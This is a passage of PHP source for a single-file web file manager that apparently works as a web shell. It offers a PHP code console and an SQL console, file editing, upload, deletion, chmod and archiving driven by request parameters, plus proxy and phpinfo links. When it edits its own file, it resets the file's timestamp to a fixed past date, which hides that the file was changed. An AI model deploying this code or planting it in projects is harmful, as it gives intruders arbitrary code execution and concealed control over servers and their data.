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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/fahriyzx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
